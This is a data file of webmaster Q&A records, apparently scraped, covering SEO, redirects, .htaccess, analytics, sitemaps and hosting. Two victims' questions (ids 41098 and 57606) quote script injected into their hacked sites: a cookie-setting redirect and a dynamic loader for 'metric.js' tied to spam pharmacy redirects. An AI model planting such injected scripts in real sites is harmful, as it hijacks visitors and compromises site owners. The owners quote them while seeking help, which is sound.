{"id":"56557","title":"Having an URL point to different locations for periods of time","text":"I want to ensure that I get the proper SEO benefits in the following example: I was thinking of pointing `example.com\/sixnations` (the Six Nations is a rugby tournament from feb-march) to refer to either `\/sixnations2013` or `\/sixnations2014` depending on the time of the year. If someone visits `\/sixnations` between Jan-Jul, it's likely they're more interested in the current year, whereas if it's between Jul-Dec, they'll probably prefer next years. I can 301\/canonical, but I don't know if rankings will take a hit when it switches over, or something. My current plan is that `\/sixnations` will mirror the content of the \"proper\" place (eg `\/sixnations` in the url still) but I can \"hard\" redirect and change the URL if necessary too. 301\/canonical, or 302 with same URL, or redirect entirely?"}
{"id":"50658","title":"Possible to add code tag button in MediaWiki editor?","text":"In the MediaWiki editor are there buttons for bold, italic and other styling, but not one for adding the `<code> ... <\/code>` tags around the selected text. Can such a button be added to the editor?"}
{"id":"24724","title":"360 degree panoramic view implementation","text":"I would like to implement a panoramic view player on my website. I did some research and found the following options: buy Flash player, use Quicktime, or HTML5 I was wondering if someone has experience and can guide me towards a right solution. Are there free Flash plugins for this? This looks promising: http:\/\/flashpanoramas.com\/player\/ But 40 Euros is too much! I think..."}
{"id":"24725","title":"How long does Bingbot typically take to process a sitemap submission?","text":"I submitted a domain's _sitemap.xml_ to Bingbot (in Webmaster Tools). It's been a couple of days but the status is still pending. Does anyone know how much time does Bing Webmaster Tools takes to complete the process and show the success or error message?"}
{"id":"60333","title":"How to un+1 a 301d URL without removing the 301?","text":"I found out I Google +1d this URL `http:\/\/domainA.com\/this-url\/` this URL has been 301 redirected to `http:\/\/domainB.com\/this-url\/` in the meanwhile, now I want to undo the +1 on the 301 without going through disabling the 301. Is there a quick way to do that?"}
{"id":"24729","title":"Setting Meta tags for a website","text":"I have made an Asp.net MVC website and am not well versed about SEO techniques, so I want a little guidance in setting the appropriate meta tags for the website. My website is dynamic and has two types of Pages: **Category** and **Product** There are two tables in the database for Category and Product. Looking into the future, I added these fields beforehand to both the tables : > -- MetaTitle--MetaDescription--MetaKeywords On both the Category and Product pages, these values are retrieved and set as following <meta name=\"description\" content=\"@ViewBag.MetaDescription\" \/> <meta name=\"title\" content=\"@ViewBag.MetaTitle\" \/> <meta name=\"keywords\" content=\"@ViewBag.MetaKeywords\" \/> For better SEO how will you set up these meta tags. Will you include the site name in all three fields ? Right now, the Product page's MetaTitle, MetaDescription and MetaKeywords don't include the website name. If possible, can you provide me sample values that should be set for better SEO performance keeping the business name in mind."}
{"id":"48951","title":"Are my emails being sent to spam?","text":"I'm working of a quite a large support organisation and we have a strong reason to believe that our outgoing emails are being delivered to spam folders. Are there any services I can use to check if this is actually the case?"}
{"id":"65242","title":"Subdomain Masking, redirection already provided","text":"I'm using a server which allows me to create and redirect subdomains. However, it is reflected on the address URL bar. What I want is to keep `subdomain.domain.com` as base URL for the subdirectories inside `domain.com\/subdirectory\/` Searching on the internet I always come up with these lines for .htaccess, which I think it does the redirection, but not the masking. RewriteEngine on RewriteBase \/ RewriteCond %{HTTP_HOST} ^sub\\.domain\\.com$ [NC] RewriteCond %{REQUEST_URI} !^\/sub RewriteRule ^(.*)$ sub\/$1 [L] **edit** Tried this, but didn't work RewriteEngine on RewriteBase \/subdirectory\/ RewriteRule ^(.*)$ http:\/\/subdomain.domain.com\/$1 [P] ProxyPassReverse \/subdirectory\/ http:\/\/subdomain.domain.com\/"}
{"id":"61213","title":"Parked previous company's domain on top of existing one. SERPS showing old URL with existing info for some of the top keywods","text":"Sorry for the duplicate question but I'm a newbie and see that I posted wrong the first time. Parked a domain from my previous company website on top of my existing company website. The URL from the other site is now showing for some of my top keywords in the SERPS but with my meta info and linking to my page. How do I fix this?"}
{"id":"19542","title":"Google analytics tracking code for different profiles?","text":"I have set up two different profiles in my Google analytics account for my website. The reason for having two different profiles is that my site is completely divided in two different user groups (not sharing anything (buyers and sellers)). When reading the documentation on profiles and accounts from google it says that each profile as subid UA-XXXX-1, UA-XXXX-2 etc... My tracking code just uses -1 and therefore both profiles show the same information. I can't figure out how my tracking code should differ between the two. In my mind it should be: <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXX-1']); _gaq.push(['_setDomainName', 'mysite.com']); _gaq.push(['_setAllowHash', false]); _gaq.push(['_trackPageview']); ... analytics javascript. <\/script> And on the second part of the site it should be: <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXX-2']); _gaq.push(['_setDomainName', 'mysite.com']); _gaq.push(['_setAllowHash', false]); _gaq.push(['_trackPageview']); ... analytics javascript. <\/script> I can't see any examples and my profiles show the same tracking code in analytics. I'm lost in how to make the two different profiles gathering the information separatly. My question is simple: How do I alter my tracking code so that traffic gets logged either in my default profile or second profile? Is there something that I'm missing? Super thanks for any answer to this. Best regards, Niclas"}
{"id":"19543","title":"URL redirection to same domain on different server","text":"We have existing domain on non-IIS server and now we have moved it to IIS server. Client want us to redirect the URL from existing server to new server with same domain name. We will modify the .htaccess file to redirect but if we redirect current abc.org to our PROD environment, then the url should still be abc.org. I am not sure whether we can have same domain (abc.org) for two PROD environment? How to achieve this?"}
{"id":"19540","title":"What are examples of services that track content-driven activity on social networks like Facebook and Twitter?","text":"I'm trying to design the basics for a platform that enables users to access sets of statistics and information related to the way how their publications are handled and shared across social networks like Facebook and Twitter. Many services are based on the contents published from the social networks themselves (e.g. ThinkUp and Hootsuite), other are inspired on the traffic metrics (e.g. Google Analytics, Mint and Newsbeat). I'm looking for fairly known examples of web analytics services that track social network activity, at least on Facebook and Twitter. Not just the good old analytics (I'm talking about the last examples I gave above), but the ones that focus on the contents and how they're handled by the community. These are some of the features I'm looking for: * List of most commented, shared or liked publications; * List of most active _sharers_ ; * Variation of average \"sharing activity\" across last day, week, month; Which services can do this? Are they web based applications or self-hosted apps? Do they have their own APIs? Can they track contents-driven activity instead of the plain old"}
{"id":"19541","title":"Google search results shows HTTP Error 400 instead of my site title","text":"my problem can be seen here http:\/\/www.google.com\/search?q=site:michaele-harrington.com I am getting **_HTTP ERROR 400_** instead of title of my page. Seems this is also happening with a few of my blog pages. When I use google webmaster rich snippets tool I'm also getting an error for the blog title. Seems there could be something up with my robots.txt... I found these errors by accident while using google webmasters rich snippets tool trying to verify google authorship markup. I'm getting errors for that as well, even though I have entered rel=\"author\" and rel=\"me\" in the correct places! http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?answer=1229920"}
{"id":"48340","title":"Silent redirection not working with mod_rewrite","text":"I'm trying to grasp apache mod_rewrite When I add this to my .htaccess it silently (url doesnt change) shows page bob.htm RewriteEngine on RewriteRule index.htm bob.htm I.e. If I type this in the browser address: `http:\/\/mydomain\/test\/index.htm`, I get the content for page: `http:\/\/mydomain\/test\/bob.htm` However if I change the .htaccess to use the full path ... RewriteEngine on RewriteRule index.htm http:\/\/mydomain\/test\/bob.htm It redirects, but not silently. Can someone explain what's going on please."}
{"id":"65249","title":"Search results for my website show content that isn't mine including pharmacy (Viagra and Cialis)","text":"I have a website and when I try a search like this: `site:dichthuatviettin.com` it gives me bunch of result like this :  Those pages do not exists on my website, how did they get there? I don't know what happening with my website anymore ! Any help or explaination why this happen ?"}
{"id":"49982","title":"Google indexed page a day before also reflecting in search but today everything vanish","text":"We had _robots.txt_ which disallow all robots as we were in development. We are live now. We change _robots.txt_ as per our requirement a day before. Submit indexes using Google Webmaster Tools index status. After this we can see proper result in search as well as Google images search was working as expected. Suddenly today all these things vanish from Google Search. Now again I can see old result i.e. under construction message. I checked _robots.txt_ in Google Webmaster Tools, it's ok - no crawling errors. Kindly let me know what exactly happened? How I can inform this issue to Google?"}
{"id":"22070","title":"Plesk Migration failure","text":"When using plesk migration manager all content domains and databases seem to be copied to their places but when I log in to plesk I cannot see them. when I try to add them manually it says \"domain already exists\". I assume that the domains were assigned to a user which is not visible and now i cannot access them through the control panel. Is there a file or something where i can edit this?"}
{"id":"43407","title":"Are there specific advantages or disadvantages of an XML sitemap over a TXT based sitemap?","text":"Are there any specific advantages or disadvantages in generating an XML based sitemap in place of a simple txt based sitemap (list of URLs)? I realize that in the XML format I can set priority and last-modified date, but it is not clear what benefit, if any, in terms of SEO, etc, this provides. (For instance, what benefit would there be to setting a low priority, other than possible reducing robot crawl load?) Explicitly stating this information also increases the probability of a mistake -- some modification date not getting updated correctly, etc."}
{"id":"2326","title":"Problem updating wordpress","text":"A problems occurs when I am trying to update my WordPress 3.0 to WordPress 3.0.1 using \"Update Automatically\" button of update-core page. I am getting a message like below: > Downloading update from http:\/\/wordpress.org\/wordpress-3.0.1.zip… And everything is stopped after this message. What to do now?"}
{"id":"13630","title":"What do I need to know about selling a website?","text":"I have run a hobby website for about seven years and it has gained a lot of traffic. I was recently approached with a purchase inquiry a company which appears to be reputable with a price I am happy with. What things to I need to be aware of in order to not get screwed or scammed?"}
{"id":"49677","title":"How to see how many new visitors from last week came back this week?","text":"Using Google Analytics, how can we see how many new visitors from last week came back this week?"}
{"id":"49457","title":"Stop Google crawling links completely","text":"I would like to stop Google crawling certain links on a site. When I say this, I mean completely stop the crawling. I'm aware that I use `noindex\/nofollow` and other methods in _robots.txt_ , but, I'm told that whilst these will be respected in terms of the content of the page, the URL itself is still crawled. The reason I'm so bothered about is due to the crawl budget that is allocated to the site. The site uses layered\/faceted navigation, and the combination of filters creates hundreds of thousands of unique links. I want to make sure Google ignores these links completely, and concentrates on the important pages that I want to be crawled and indexed. I've been made aware of a couple of options - 1. Ajax Checkboxes - replace the HTML links with ajax checkboxes. The problem here is that these aren't any good for accessibility and browsers with JavaScript disabled. I'm also aware, that Google can see this as cloaking, and can penalise appropriately. 2. Hashbang #! Urls - From what I can find, if you add a hash bang to a URL, Google will not crawl it. For example `www.myshop.com\/shoes#!colour-red`. I can't find any sites using it in this form though, so I'm not convinced."}
{"id":"68062","title":"Need some help with modal for login\/register","text":"I am new to web development and in the process of creating my first website. I am trying to make a login link in the header which opens a modal for login\/register but the link isn't working. I think that I have to type in some code into the index.php page to get it to work but I don't know what to put in. Hope some of you can help, thanks. Here is my code: index.php <?php include \"app\/config.php\"; include \"app\/detect.php\"; if ($page_name=='') { include $browser_t.'\/index.html'; } elseif ($page_name=='index.html') { include $browser_t.'\/index.html'; } elseif ($page_name=='about.html') { include $browser_t.'\/about.html'; } elseif ($page_name=='store.html') { include $browser_t.'\/store.html'; } elseif ($page_name=='contact.html') { include $browser_t.'\/contact.html'; } elseif ($page_name=='single.html') { include $browser_t.'\/single.html'; } else { include $browser_t.'\/404.html'; } ?> header.html <link href=\"web\/css\/style.css\" rel=\"stylesheet\" type=\"text\/css\" media=\"all\"> <script src=\"http:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.9.1\/jquery.min.js\"><\/script> <script type=\"text\/javascript\" src=\"js\/jquery.leanModal.min.js\"><\/script> <link rel=\"stylesheet\" href=\"http:\/\/netdna.bootstrapcdn.com\/font-awesome\/4.0.3\/css\/font- awesome.min.css\" \/> <link type=\"text\/css\" rel=\"stylesheet\" href=\"web\/css\/style.css\" \/> <!----start-Header----> <div class=\"header\"> <div class=\"clear\"> <\/div> <div class=\"wrap\"<\/div> <div class=\"header-top-nav\"> <ul> <li> <div class=\"container\"> <a id=\"modal_trigger\" href=\"#modal\">Login<\/a> <div id=\"modal\" class=\"popupContainer\" style=\"display:none;\"> <header class=\"popupHeader\"> <span class=\"header_title\">Login<\/span> <span class=\"modal_close\"><i class=\"fa fa-times\"><\/i><\/span> <\/header> <section class=\"popupBody\"> <div class=\"social_login\"> <div class=\"action_btns\"> <div class=\"one_half\"><a href=\"#\" id=\"login_form\" class=\"btn\">Login<\/a><\/div> <div class=\"one_half last\"><a href=\"#\" id=\"register_form\" class=\"btn\">Sign up<\/a><\/div> <\/div> <\/div> <!-- Username & Password Login form --> <div class=\"user_login\"> <form> <label>Email<\/label> <input type=\"text\" \/> <br \/> <label>Password<\/label> <input type=\"password\" \/> <br \/> <div class=\"action_btns\"> <div class=\"one_half\"><a href=\"#\" class=\"btn back_btn\"><i class=\"fa fa-angle-double-left\"><\/i> Back<\/a><\/div> <div class=\"one_half last\"><a href=\"#\" class=\"btn btn_red\">Login<\/a><\/div> <\/div> <\/form> <a href=\"#\" class=\"forgot_password\">Forgot password?<\/a> <\/div> <!-- Register Form --> <div class=\"user_register\"> <form> <label>First Name<\/label> <input type=\"text\" \/> <br \/> <label>Last Name<\/label> <input type=\"text\" \/> <br \/> <label>Email Address<\/label> <input type=\"email\" \/> <br \/> <label>Password<\/label> <input type=\"password\" \/> <br \/> <label>Confirm Password<\/label> <input type=\"password\" \/> <br \/> <div class=\"action_btns\"> <div class=\"one_half\"><a href=\"#\" class=\"btn back_btn\"><i class=\"fa fa-angle-double-left\"><\/i> Back<\/a><\/div> <div class=\"one_half last\"><a href=\"#\" class=\"btn btn_red\">Register<\/a><\/div> <\/div> <\/form> <\/div> <\/section> <\/div> <\/div> <script type=\"text\/javascript\"> $(\"#modal_trigger\").leanModal({top : 200, overlay : 0.6, closeButton: \".modal_close\" }); $(function(){ \/\/ Calling Login Form $(\"#login_form\").click(function(){ $(\".social_login\").hide(); $(\".user_login\").show(); return false; }); \/\/ Calling Register Form $(\"#register_form\").click(function(){ $(\".social_login\").hide(); $(\".user_register\").show(); $(\".header_title\").text('Register'); return false; }); \/\/ Going back to Social Forms $(\".back_btn\").click(function(){ $(\".user_login\").hide(); $(\".user_register\").hide(); $(\".social_login\").show(); $(\".header_title\").text('Login'); return false; }); }) <\/script> <\/li> <li><a href=\"#\">My Account<\/a><\/li> <li><a href=\"#\"><span>Shopping Cart : <\/span><\/a><lable> No Items<\/lable><\/li> <li> <form class=\"search-bar\"> <input type=\"text\"><input type=\"submit\" value=\"Search\"\/> <\/form> <\/li> <\/ul> <\/div> <div class=\"clear\"> <\/div> <\/div> <\/div> <div class=\"clear\"> <\/div> <div class=\"top-header\"> <div class=\"wrap\"> <!----start-logo----> <div class=\"logo\"> <a href=\"index.html\"><img src=\"web\/images\/logo.png\"\/><\/a> <\/div> <!----end-logo----> <!----start-top-nav----> <div class=\"top-nav\"> <ul> <li><a href=\"index.html\">Home<\/a><\/li> <li><a href=\"store.html\">Store<\/a><\/li> <li><a href=\"about.html\">About Us<\/a><\/li> <li><a href=\"contact.html\">Contact Us<\/a><\/li> <\/ul> <\/div> <div class=\"clear\"> <\/div> <\/div> <\/div> <!----End-top-nav----> <!----End-Header---->"}
{"id":"3768","title":"How to register an owned, unused domain?","text":"I would like to buy www.caves.com but it seems that it's owned and there is a \"search engine\" there. How do I contact the site owners and buy this domain?"}
{"id":"21917","title":"Domain ownership issue with Google AdSense even I have added ownership page","text":"I am facing domain ownership issue on my www.videoonfacebook.com site I have made ownership page and resubmitted! but same reply?"}
{"id":"52389","title":"Multi language site - use of canonical link and link rel=\"alternate\"","text":"I keep reading everywhere that if you have a multilanguage site, where the same page appears in, say, French and English, then this is considered as duplicate content by google. It is written that using canonical link is the solution, but I do not understand how to use it in this case. Should I: 1. Choose either French URL or English URL to be the canonical (main) one, and where I will place the canonical link? If so, how do I decide which of the two URLs must be canonical? both languages are important to me and I want the content under both languages to be indexed by google and served to the user, depending on the language in which he searches. 2. OR should I place a canonical link on both French and English URLs? If so, then I do not understand the meaning of using the canonical link? In this case would both URLs be indexed, are both of them considered as \"important\" by google and not duplicates? Also I read that link rel=\"alternate\" can be used to indicate to google that, for example the French URL is the French-language equivalent of the English page. This makes sense and I understand how to use such links, but how are they combined with canonical links? Should I define both the canonical URL AND specify rel=\"alternate\" in both URLs? Could someone help me to clarify this, cause I'm stuck with this and can't seem to find a good-enough explanation in different sources."}
{"id":"17398","title":"Another website has lower pagerank (4) and lower backlinks, but they score higher than me in search results","text":"My website has a pagerank of 6 but it ranks poorly (6th position), they have the 3rd position despite a lower pagerank. The sites are about the same subject. I have title text on links, content is not flash, etc. Why?"}
{"id":"17649","title":"Global Analytics Filter for all accounts","text":"I am trying to create a filter for all of my Analytics websites. I am wondering if it is currently possible to do this. Basically one filter to rule them all! thanks!"}
{"id":"65077","title":"Why is page rank so high for a teacher's personal site","text":"I have several sites with google page rank 0. * These sites have unique content (in my native language). * They have sites on google+ and facebook with at least 50 likes. * They are registered in many search engines. * There are quite many links (not fewer than hundred) pointing to them - site openlinkprofiler.org gave to the majority of these links low values (about 5%), but this is better than nothing. * There aren't links from \"bas seo\" pages to my sites * I am commenting in relevant sites using links to my pages. * All these pages receive high or satisfactory rankings in automatic SEO analysis tools. * There aren't many unique users who vist these pages per day, but also this number is not a zero But still pagerank zero for months. And another example, a teacher of calculus from our faculty (which has about 1500 students and he teaches about 150 unique students in a year) has a personal site with page rank 3 (called krbalek.cz) * His site is not valid according to w3c * He has not connections with social networks * System openlinkprofiler.org tells that there are only a few links pointing to the page * He probably does not do any seo and Seo analysers do not give the best results for him Is there any general advice for me, what am I doing wrong? The only thing that came to my mind is that his personal site has been in service for about 10 year and all my sites aren't older than a year."}
{"id":"17646","title":"Is this a legitimate tool to check for digital certificates?","text":"I've been looking for a method to handle checking my domain for certificates that are in use, but my provider doesn't provide a tool to see how many are currently in use. I've stumbled upon the following but I'm unfamiliar with it and unsure of its legitimacy. http:\/\/prefetch.net\/articles\/checkcertificate.html If bad, can you make any other suggestions on what I should do\/use? I'm proficient in Powershell scripting."}
{"id":"17396","title":"GitHub forum\/helpdesk solution","text":"Our open source software website is migrating from Redmine to GitHub (pages, wiki, issues) and the only missing thing is _Forum\/Discussions_. GitHub does not have such feature yet and allows only static pages generation. We really would like to support our users using forum. I was thinking about disqus.com like engine that can be attached to website, but what I have found offers only comments support for specific page\/topic on website, they don't have ability for user to create a thread\/topic like on forums. Question: Is there any 3rd party solution which will support forum\/helpdesk like mechanism without requiring and server side installation and can be embedded in pure html? Also would be great if such engine support social networking authorization (like disqus). P.S.: What alternatives would you recommend for user support?"}
{"id":"43663","title":"How can I remove plus sign in jquery string","text":"How can I remove `+` sign from string in Jquery `$('#sender_name'). val().` If I entered any space then it include a `+` sign So in my controller I cant get accurate value due to `+` sign (I am using Ajax call that goes every time when I enter a single word). For example if I entered in text field 'Hello World' then it will return 'hello+world' i want to remove + sign. $(function() { $( \"#sender_name\" ).autocomplete({ 'search':function(event,ui){` var newUrl=\"<?=base_url()?>login\/city\/\"+$(\"#sender_name\").val(); $(this).autocomplete(\"option\",\"source\",newUrl) }, source':[] }); });"}
{"id":"43664","title":"SEO implications of moving a section of site to a subdomain - Drupal to Jekyll\/Wordpress migration","text":"We are strongly considering moving significant, relatively static, portions of our existing Drupal site (`yinyanghouse.com`) out of Drupal and into a subdomain built up with a static site generator like Jekyll. This section would be something like 900 pages or so of largely static content with no need for comments, etc. (although keeping Adsense would be important) - something like `resources.yinyanghouse.com`. Then we are more than likely going to move the dynamic\/community portions of our site into Wordpress for easier upgrade paths and better adherence to API's between versions (in our opinion) than Drupal. My question, then, is will there be any significant ramifications of moving a page such as: `http:\/\/www.yinyanghouse.com\/acupuncturepoints\/lv3` to `resources.yinyanghouse.com\/acupuncturepoints\/lv3`? Any things to watch out for or are just 301's and fixing all our internal links enough? Any experiences with Jekyll and larger sites? What about hosting that many pages on Github pages vs. locally with Nginx? These are crucial pages of our rankings overall and we really don't want to lose that but moving them to a static site generator will help us greatly with maintenance and hosting costs."}
{"id":"43665","title":"suggested ways of handling font-face and minification","text":"I have a css file with a font-face section in it. Are there any known issues around using minification tools from google\/yahoo when applying them on a css file with a font-face section. If so, what are some of the workarounds that could be explored. Not minifying is an option though I would prefer to minify the non font-face section, even if it means creating two separate files, one with non font-face css and one with font-face. However, I am wondering if anyone has a suggested way of dealing with this without resorting to two separate HTTP requests for the CSS files. Thanks in advance for your input\/suggestions."}
{"id":"2491","title":"Website dropping 7 pages low in 1 week","text":"I just encountered, that my webpage dropped 7 pages low on google in just 1 week. How is that even remotely possible? I didn't change anything regarding metatags, descriptions, site structure, whatsoever. And still it's displayed on page 7 when searching for the most used keyword (which I sorted out with google analytics) Does anyone have an idea how that can even happen in such short time? Interesting note; The viewer count didn't change too much during the whole time. Also the pagerank didn't change - still 5"}
{"id":"13552","title":"Best position for Facebook Like button","text":"What's the best position for a Facebook Like button, at the top of the page, or at the end of the text\/content\/module? Which position has more visibility and is more effective?"}
{"id":"13550","title":"Subdomain configuration","text":"1. Configure all subdomains to point to the same server IP as the main domain 2. Configure all subdomains in virtual host to point to the same location as the main domain What is the easiest way to do this?"}
{"id":"13557","title":"Increasing the pagerank to my blogs index page, removing the links to posts","text":"I want to increase page rank on my main index blog page and categories. If i remove the links to my posts from my index page and have only links to categories, will that help? Anyone tried it? Ty"}
{"id":"13554","title":"Does Google Analytics allow custom variables to have a value of zero?","text":"I was interested in tracking the versions of QuickTime my users have installed. As suggested in an earlier question, I have set up a custom variable and built a report around it. Here is my code for the check: function qt_check(){ var p = navigator.plugins; var name, ver = 0; for(i = 0; i < p.length; i++){ name = p[i].name; if(name.indexOf(\"QuickTime Plug-in\") !== -1){ ver = p[i].version; } } return ver; } pageTracker._setCustomVar(1, \"QuickTime Version\", qt_check(), 1); As you can see, I set up the `qt_check()` function so that it would return a value of zero if the user does not have any version of QuickTime installed. My idea was that in addition to getting a readout on the various versions of QuickTime, I would be able to see how many people don't have it at all by looking for version \"0\". But now that I have a few days of data, I find that although there have been 933 visits during that time, nobody registered as having QuickTime version 0. Should I be passing some other value to Google Analytics? Is the 0 causing it to discard the variable?"}
{"id":"19890","title":"web framework\/CMS fingerprinting?","text":"Is there a piece of software out there that can tell me what framework or CMS was used to build a particular site? I'm thinking there might be something that can look at the way a page is formatted and deduce what, if any, framework or CMS was used to generate it."}
{"id":"41098","title":"GWT \"Big traffic change for top URL\"","text":"I recently received an email from GWT saying that one of my URL's traffic has suddenly dropped. As it turned out the traffic to the whole site has drastically dropped, from some 300+ unique visitors to less than 10 a day. After doing some investigation, it turns out that sometimes when you load the website, the source shows only the following: <html><body><script>document.cookie='sssssss=81b58aaasssssss_81b58aaa; path=\/';window.location.href=parseURL(window.location.href);<\/script><\/body><\/html> The cookie is different, for example on one of my computers it said something along the lines of `zzzzzzz=something` (can't remember the value) and on a proxy it showed the above value. If the cookie isn't set, it just won't load the website. Now this obviously means that my website is somehow infected some sort of malware, however, Google doesn't return any search results. Does anyone recognise this malware or can offer some advise on how to find out what the problem is? Note: the website is a custom written website and although I tried to make it as secure as possible, it obviously seems I might have missed something. Technology used is PHP5 and MySQL. The URL is: http:\/\/ps3theme.net\/ Thanks EDIT: This only seems to happen the first time round. I did a mass search on the website and nothing was found. If you view the source before you load the website, it comes up, but once that piece of code has been executed, it doesn't come up anymore for a while."}
{"id":"7892","title":"My Google image ad is consistently receiving 0 impressions","text":"I set up my first Google image ad two days ago. It was approved almost immediately, but I have seen 0 impressions and 0 clicks since then. I tried setting my CPC to $4, which I figured should be high enough to win bids at lease _some_ of the time, but no luck. Anyone experienced this? My text ads continue to receive impressions but after two and a half days I still see nothing for the image ad."}
{"id":"57606","title":"Site hacked: redirecting to other site?","text":"I have a site that appears and works fine. However if you search for it in Google a whole lot of other links come up, eg: `mysite.com\/kamagra-viagra.html` Clicking this I get redirected to the Kamagra site. I have scanned my site for viruses and cant find anything. I am using the ModX Evo CMS. Can anyone suggest a particular file I should be looking for that causing this? EDIT: I have noticed some strange Javascript in my header: <script type=\"text\/javascript\" src=\"http:\/\/www.mysite.com\/home.html?getjs=metric.js\"><\/script> <script type=\"text\/javascript\">var j1s = document.createElement('script');j1s.type = 'text\/javascript';j1s.src = 'http:\/\/www.mysite.com\/home.html?getjs=metric.js?getjs=metric.js';var h1ead = document.getElementsByTagName('head')[0];h1ead.appendChild(j1s);<\/script> This is not in my template file, but appears when the page is loaded. I suspect this is the issue."}
{"id":"11777","title":"Hijax == sneaky Javascript redirects? Will I get banned from Google?","text":"### Question Will I get penalised as **\"sneaky Javascript redirects\"** by Google if I have the following Hijax setup (which requires a JavaScript redirect on the page index by google). ### Goal I want to implement Hijax to enable AJAX content to be accessibile to non- JavaScript users and search engine crawlers. ### Background 1. I'm working on a static file server (GitHub Pages). No server side tricks allowed (so Google's #! \"hash bang\" solution is not an option). 2. I'm trying to keep my files DRY. I don't want to repeat the common OUTER template in all my files i.e. header, navigation menu, footer, etc They will live in the main `index.html` ### Setup the Hijax 1. `index.html` page contains all OUTER html\/css\/js... the site's template. 2. `index.html` has a `<div id=\"content\">` which defaults to containing the \"homepage\" html. 3. `index.html` has a navigation menu, with a Hijax link to an \"about\" page. 4. With JavaScript **disabled** (e.g. crawler) it follows link to `\/about.html`. 5. With JavaScript **enabled** (e.g. most people) the link updates the url hash fragment to `\/#about` and jQuery replaces the `<div id=\"content\">` innerHTML with `$(\"#content\").load(\"about.html #inner-container\");`. ### AJAX content `about.html` _does not_ contain anything extra to try an cloak content for crawlers. `about.html` file contains enough HTML \/ CSS \/ JavaScript to display `\/about.html` as a standalone page with it's own META data... e.g. `<html><head><title>About<\/title>...<\/head><body><\/body><\/html>`. `about.html` has NO OUTER HTML template (i.e. header, navigation menu, footer, etc). `about.html` `<body>` contains a `<div id=\"inner-container\">` which holds the content that is injected into `index.html`. `about.html` has a `<noscript>` tag as the first child of `<body>` which explains to non-JavaScript users that they are viewing the about page \"inner content\" - with a link to navigate to the `index.html` page to get the full page layout with menu. ### The (Sneaky?) Redirect Google indexes the `\/about.html` page. However when a person with JavaScript enabled visits that page there is no OUTER html template (e.g. header, navigation menu, footer, etc). So I need to do a JavaScript redirect to get the person over the `\/#about` page (deeplinking to the \"about\" page \"state\" in `index.html`). I'm thinking of doing a \"redirect on click or after 10 seconds\". The end results is that user ends up on an \"enhanced\" page back on `index.html` with all it's OUTER template - but the **core** \"page\" content is practically identical. ### Known issue with inbound links e.g. Share \/ Bookmarking It seems that if a user shares the URL `\/#about` on their blog, when allocating inbound links to my site Google ignores everything after the `#` ... it allocates value to the `\/` page - See: hashbang vs hijax. I can only try an minimise this issue offering \"share\" buttons on the page with the appropriate urls i.e. `\/about.html`."}
{"id":"52125","title":"How to exclude certain images on web page from spiders?","text":"I have a page with a main image on it that I want to be indexed. I also have a list of other images (thumbnails) on the same web page that should not be indexed or associated with the current page\/main image because this is the same list of thumbnails for every page on the website. How can I stop Google from indexing this content against the page? Can I use a `Noindex, Nofollow`?"}
{"id":"17025","title":"Is there anyway for me to legally and ethically hit the whois on thousands of domains?","text":"I have a project that is building comprehensive data on thousands of companies and domain information is an important part of it, but often the whois services will say that you can't use them for high-traffic queries. So how CAN you do high-traffic?"}
{"id":"52651","title":"Is link relevancy or rank more important?","text":"My competitors who PageRank higher than mine have backlinks that come from completely unrelated websites with a a high PageRank themselves. I was under the assumption that relevancy was more important than rank, but it seems this is not the case. As an example, my roofing company has links from roofing-related websites, but my competitors have links only from high PageRank sites which are unrelated in this industry. And they (my competitors) have a considerably higher ranking. Are links from high PageRank sites more valuable\/effective than links from relevant, but lower sites?"}
{"id":"68007","title":"Multilingual website Google bot","text":"**Introduction** I'm working on a project where a website exists out of 2 languages: **_nl_** and **_fr_**. The website itself is developed in ASP.NET where every page only exists once where the content of the page is dynamically loaded using localization. **Site structure:** NameOfThePage.aspx AnotherNameOfThePage.aspx ... All of these files are located under the root folder of the website, so their is no **_\/nl\/_** or **_\/fr\/_** subfolder. Using a url param `?lang=nl` the content of nl is loaded, if its `?lang=fr` then the content of the fr is loaded. Also meta tags, title, ... are beeing translated dynamically using the localization. **URL rewriting** For nice urls I use url rewriting like this: http:\/\/www.example.be\/nl\/keyword-in-nl\/ http:\/\/www.example.be\/fr\/keyword-in-fr\/ _Rewrite rules:_ RewriteRule ^\/nl\/keyword-in-nl\/ NameOfThePage.aspx?lang=nl RewriteRule ^\/fr\/keyword-in-fr\/ NameOfThePage.aspx?lang=fr These nice urls are located in my website, sitemap and are indexed by Google. Also using the Webmaster tools > Fetch as Google, I get the correct content in the correct language. **Problem** The site is not scoring good in Google so I am searching for the problem. I read in blogs that using `?lang=` param is not done for getting the language content. But I use nice urls using the url rewriting. * Is this still the same and must this be changed or...? * Can this be the problem of my bad scooring results in Google? Also I read about `hreflang` to link alternative pages in different languages to each other. * Should I use `hreflang` link elements in my case?"}
{"id":"60032","title":"In Google Adwords the impressions and clicks are not detailed according to keyword","text":"Exactly as it says in the title. Even though I have thousands of impressions and a few dozen clicks, it is not detailed according to keyword. Any ideas of why this may be? In other words, I would like to know which clicks and impressions came from which keywords. This way I can make better decisions as to which keywords I should use! "}
{"id":"53830","title":"Help Google to recognise forum threads","text":"I have seen some cases where Google search results can actually tell you how many posts\/replies there are in a topic, how many pages there are, and I think I even saw it tell me the specific author of the post where my search result was, but I could be mis-remembering that one.  The point is, Google is apparently capable of recognising forum threads. However, it never seems to recognise my site's forum threads. Now, I am using an in-house, custom-built forum, so it may be that I'm simply missing flags or not formatting in a recognised manner. So I'd like to ask, what is it that Google looks for to identify forum threads? What kind of data is it looking for, and how can I provide it?"}
{"id":"53381","title":"Finding the 404 page template of a website","text":"Is there a certain technique or make my life easier in finding the 404 page template of a website? What I do right now to find a 404 page on a specific website is to visit the website and edit their URL by adding a fake page. Then it will return the 404 page."}
{"id":"53385","title":"phpmyadmin: missing \"export\" link","text":"If I use phpmyadmin's \"SQL\" function to input a query by hand, I usually have an option to export the query's result. There is a link named \"Export\" in the area titled \"Query results operations\". But if I use a very long query (for example with a long list of IDs), the export link is missing, the entire Query results operations area is empty. I have acertained that this issue relates to the actual length of the query. The number of rows returned is not the problem. In earlier versions of phpmyadmin, the link used to be replaced by a button when the query became too long for a link. I think there is a limit to character length of a GET request, I suspect that this is the reason for phpmyadmin not to display the link. How can I re-enable this? I know that I can use the command line to run and export queries, but many of my co-workers are not capable to do so, but are still required to run and export queries once in a while."}
